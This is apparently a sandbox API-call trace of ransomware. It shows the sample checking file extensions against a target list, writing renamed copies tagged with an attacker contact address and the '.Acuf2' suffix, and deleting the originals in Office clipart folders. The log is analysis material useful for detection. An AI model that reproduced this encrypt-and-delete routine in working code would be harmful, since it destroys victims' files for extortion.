	[0261.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.507] lstrlenW (lpString=".xls") returned 4
	[0261.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.507] lstrlenW (lpString=".xlsx") returned 5
	[0261.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.508] lstrlenW (lpString=".ppt") returned 4
	[0261.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63
	[0261.508] lstrlenW (lpString=".zip") returned 4
	[0261.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.508] lstrlenW (lpString=".rar") returned 4
	[0261.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.508] lstrlenW (lpString=".bz2") returned 4
	[0261.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.508] lstrlenW (lpString=".7z") returned 3
	[0261.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63
	[0261.508] lstrlenW (lpString=".dbf") returned 4
	[0261.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63
	[0261.508] lstrlenW (lpString=".1cd") returned 4
	[0261.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63
	[0261.508] lstrlenW (lpString=".jpg") returned 4
	[0261.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.508] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=12356) returned 1
	[0261.508] CloseHandle (hObject=0x358) returned 1
	[0261.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 0x20
	[0261.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.509] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.509] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0261.509] GetLastError () returned 0x0
	[0261.509] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x3044, lpOverlapped=0x0) returned 1
	[0261.511] WriteFile (in: hFile=0x2a4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3050, lpOverlapped=0x0) returned 1
	[0261.512] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.512] WriteFile (in: hFile=0x2a4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.512] SetEndOfFile (hFile=0x2a4) returned 1
	[0261.512] CloseHandle (hObject=0x2a4) returned 1
	[0261.512] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.512] SetEndOfFile (hFile=0x358) returned 1
	[0261.514] CloseHandle (hObject=0x358) returned 1
	[0261.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 1
	[0261.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63
	[0261.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63
	[0261.516] lstrlenW (lpString=".doc") returned 4
	[0261.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.516] lstrlenW (lpString=".docx") returned 5
	[0261.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.517] lstrlenW (lpString=".pdf") returned 4
	[0261.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.517] lstrlenW (lpString=".xls") returned 4
	[0261.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.517] lstrlenW (lpString=".xlsx") returned 5
	[0261.517] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.517] lstrlenW (lpString=".ppt") returned 4
	[0261.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63
	[0261.517] lstrlenW (lpString=".zip") returned 4
	[0261.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.517] lstrlenW (lpString=".rar") returned 4
	[0261.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.517] lstrlenW (lpString=".bz2") returned 4
	[0261.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.517] lstrlenW (lpString=".7z") returned 3
	[0261.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63
	[0261.517] lstrlenW (lpString=".dbf") returned 4
	[0261.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63
	[0261.517] lstrlenW (lpString=".1cd") returned 4
	[0261.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63
	[0261.517] lstrlenW (lpString=".jpg") returned 4
	[0261.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.588] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=6780) returned 1
	[0261.588] CloseHandle (hObject=0x34c) returned 1
	[0261.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 0x20
	[0261.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.716] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.716] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.716] GetLastError () returned 0x0
	[0261.716] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1a7c, lpOverlapped=0x0) returned 1
	[0261.724] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1a80, lpOverlapped=0x0) returned 1
	[0261.725] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.725] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.725] SetEndOfFile (hFile=0x330) returned 1
	[0261.816] CloseHandle (hObject=0x330) returned 1
	[0261.816] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.816] SetEndOfFile (hFile=0x334) returned 1
	[0261.818] CloseHandle (hObject=0x334) returned 1
	[0261.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 1
	[0261.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63
	[0261.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63
	[0261.842] lstrlenW (lpString=".doc") returned 4
	[0261.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.842] lstrlenW (lpString=".docx") returned 5
	[0261.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.842] lstrlenW (lpString=".pdf") returned 4
	[0261.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.842] lstrlenW (lpString=".xls") returned 4
	[0261.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.842] lstrlenW (lpString=".xlsx") returned 5
	[0261.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.842] lstrlenW (lpString=".ppt") returned 4
	[0261.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63
	[0261.842] lstrlenW (lpString=".zip") returned 4
	[0261.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.842] lstrlenW (lpString=".rar") returned 4
	[0261.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.842] lstrlenW (lpString=".bz2") returned 4
	[0261.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.842] lstrlenW (lpString=".7z") returned 3
	[0261.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63
	[0261.842] lstrlenW (lpString=".dbf") returned 4
	[0261.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63
	[0261.843] lstrlenW (lpString=".1cd") returned 4
	[0261.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63
	[0261.843] lstrlenW (lpString=".jpg") returned 4
	[0261.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.843] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=736) returned 1
	[0261.843] CloseHandle (hObject=0x340) returned 1
	[0261.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 0x20
	[0261.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0261.843] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.844] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0261.844] GetLastError () returned 0x0
	[0261.844] ReadFile (in: hFile=0x340, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x2e0, lpOverlapped=0x0) returned 1
	[0261.865] WriteFile (in: hFile=0x328, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x2f0, lpOverlapped=0x0) returned 1
	[0261.900] ReadFile (in: hFile=0x340, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.900] WriteFile (in: hFile=0x328, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.900] SetEndOfFile (hFile=0x328) returned 1
	[0261.901] CloseHandle (hObject=0x328) returned 1
	[0261.901] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.901] SetEndOfFile (hFile=0x340) returned 1
	[0261.903] CloseHandle (hObject=0x340) returned 1
	[0261.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 1
	[0261.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63
	[0261.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63
	[0261.903] lstrlenW (lpString=".doc") returned 4
	[0261.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.903] lstrlenW (lpString=".docx") returned 5
	[0261.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.903] lstrlenW (lpString=".pdf") returned 4
	[0261.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.903] lstrlenW (lpString=".xls") returned 4
	[0261.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.903] lstrlenW (lpString=".xlsx") returned 5
	[0261.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.903] lstrlenW (lpString=".ppt") returned 4
	[0261.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63
	[0261.904] lstrlenW (lpString=".zip") returned 4
	[0261.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.904] lstrlenW (lpString=".rar") returned 4
	[0261.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.904] lstrlenW (lpString=".bz2") returned 4
	[0261.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.904] lstrlenW (lpString=".7z") returned 3
	[0261.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63
	[0261.904] lstrlenW (lpString=".dbf") returned 4
	[0261.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63
	[0261.904] lstrlenW (lpString=".1cd") returned 4
	[0261.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63
	[0261.904] lstrlenW (lpString=".jpg") returned 4
	[0261.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.923] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=7944) returned 1
	[0261.923] CloseHandle (hObject=0x320) returned 1
	[0261.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 0x20
	[0261.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0261.955] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.955] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0261.956] GetLastError () returned 0x0
	[0261.956] ReadFile (in: hFile=0x32c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1f08, lpOverlapped=0x0) returned 1
	[0261.957] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1f10, lpOverlapped=0x0) returned 1
	[0261.958] ReadFile (in: hFile=0x32c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.958] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.958] SetEndOfFile (hFile=0x28c) returned 1
	[0261.958] CloseHandle (hObject=0x28c) returned 1
	[0261.958] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.959] SetEndOfFile (hFile=0x32c) returned 1
	[0261.960] CloseHandle (hObject=0x32c) returned 1
	[0261.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 1
	[0261.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63
	[0261.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63
	[0261.961] lstrlenW (lpString=".doc") returned 4
	[0261.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.961] lstrlenW (lpString=".docx") returned 5
	[0261.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.961] lstrlenW (lpString=".pdf") returned 4
	[0261.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.961] lstrlenW (lpString=".xls") returned 4
	[0261.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.961] lstrlenW (lpString=".xlsx") returned 5
	[0261.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.961] lstrlenW (lpString=".ppt") returned 4
	[0261.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63
	[0261.961] lstrlenW (lpString=".zip") returned 4
	[0261.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.961] lstrlenW (lpString=".rar") returned 4
	[0261.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.961] lstrlenW (lpString=".bz2") returned 4
	[0261.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.962] lstrlenW (lpString=".7z") returned 3
	[0261.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63
	[0261.962] lstrlenW (lpString=".dbf") returned 4
	[0261.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63
	[0261.962] lstrlenW (lpString=".1cd") returned 4
	[0261.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63
	[0261.962] lstrlenW (lpString=".jpg") returned 4
	[0261.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.962] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=14194) returned 1
	[0261.962] CloseHandle (hObject=0x32c) returned 1
	[0261.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x20
	[0261.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
